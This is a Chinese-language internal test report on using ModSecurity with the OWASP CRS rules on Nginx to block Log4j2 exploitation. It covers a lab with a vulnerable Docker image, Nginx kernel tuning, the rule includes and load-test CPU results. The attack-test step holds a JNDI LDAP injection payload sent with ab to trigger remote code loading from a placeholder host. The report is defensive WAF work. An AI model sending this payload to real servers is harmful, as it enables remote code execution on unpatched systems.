功能背景
为了实现在Nginx拦截logfj2漏洞等相关的攻击，在网上查阅相关的资料，发现有个ModSecurity的模块，ModSecurity是一个针对web容器开发的waf模块，起初是对Apache进行适配，从3.0以后的版本对Nginx和IIS也都有了很好的适配，ModSecurity支持和新规则集CRS，CRS是保护Web应用免收0day攻击的规则，此外ModSecurity还支持并行文本匹配、GeoIP解析、内容注入、自动化规则更新和脚本等。同时支持OWASP ，OWASP 是一个安全社区，开发和维护着一套免费的应用程序保护规则CRS，用户可以根据自己的需求选择不同的规则，也可以通过 ModSecurit y手工创建安全过滤器、定义攻击并实现主动的安全输入验证。
预期目标
能够在nginx添加规则针对logfj2漏洞特征进行拦截
技术路线及技术关键点
测试业务机器：8C8G ip 88.88.88.103 centos7
测试NGINX机器：8C8G ip 88.88.88.102 centos7
测试攻击机器： 8C8G ip 88.88.88.101 ubuntu
测试业务机搭建漏洞环境
docker run -itd -p 8080:8080 registry.cn-zhangjiakou.aliyuncs.com/rcs-team/vulnerability:log4j2-rce-2021-12-02
测试NGINX机器搭建nginx+modscrutiny
链接
通过测试代码访问漏洞环境拿到指定规则文件并更改配置重新加载实现拦截效果
攻击测试机执行测试代码
echo ‘88.88.88.102 aa.gyyx.cn’ > /etc/hosts
ab -n 1 -c 2 -p post.txt -T 'application/x-www-form-urlencoded' 'http://aa.gyyx.cn/hello'
echo 'payload=${jndi:ldap://xxx.xxx.xxx./exp}' > post.txt
加载防御配置并重启nginx重新执行代码拦截成功
特性演示
waf配置加载前访问状态是200，并且可以执行logfj2的远程代码
waf配置加载后状态码是403成功拦截并且有拦截日志
测试分析
本次压测是在内网环境的虚拟机进行的，针对nginx进行压测，配置文件优化采用了社区线上的配置，后端启用了doker的java站点，Nginx机器进行了内核优化，详情看下面的详情。
内核优化
net.ipv4.ip_forward = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.accept_source_route = 0
kernel.sysrq = 0
kernel.core_uses_pid = 1
net.ipv4.tcp_syncookies = 0 #这里需要改为0不然系统会误认为是syn攻击
net.bridge.bridge-nf-call-ip6tables = 0
net.bridge.bridge-nf-call-iptables = 0
net.bridge.bridge-nf-call-arptables = 0
kernel.msgmnb = 65536
kernel.msgmax = 65536
kernel.shmmax = 68719476736
kernel.shmall = 4294967296
net.ipv4.tcp_synack_retries = 0
net.ipv4.tcp_max_syn_backlog = 50000
fs.file-max = 8192000
fs.nr_open = 10000000
net.core.somaxconn = 65535
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.core.netdev_max_backlog = 165536
net.ipv4.ip_local_port_range = 1024 65535
kernel.shmall = 154618822656
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 0
net.ipv4.tcp_keepalive_time = 1200
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_max_tw_buckets = 360000
net.netfilter.nf_conntrack_max = 2100000
net.netfilter.nf_conntrack_tcp_timeout_established = 120
net.ipv4.tcp_syn_retries = 3
net.ipv4.tcp_sack = 0
测试命令
ab -r -n 5000 -c 500 'http://aa.test.cn/'
采用的规则集
Include /usr/local/tengine/conf/modsecurity/crs-setup.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-901-INITIALIZATION.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-911-METHOD-ENFORCEMENT.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-913-SCANNER-DETECTION.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-921-PROTOCOL-ATTACK.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf
Include /usr/local/tengine/conf/modsecurity/rules/REQUEST-949-BLOCKING-EVALUATION.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-950-DATA-LEAKAGES.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-980-CORRELATION.conf
Include /usr/local/tengine/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
测试结果
结论
由于全规则集匹配对于CPU的消耗很大，本次测试的规则集按照业务需求，剔除了不必要规则，保留了符合业务场景的需要，测试每秒500的并发去测试规则集，对Nginx的机器作用在8个核心上大概占用CPU的60%左右，通过计算线上的两台Nginx可以满足需要。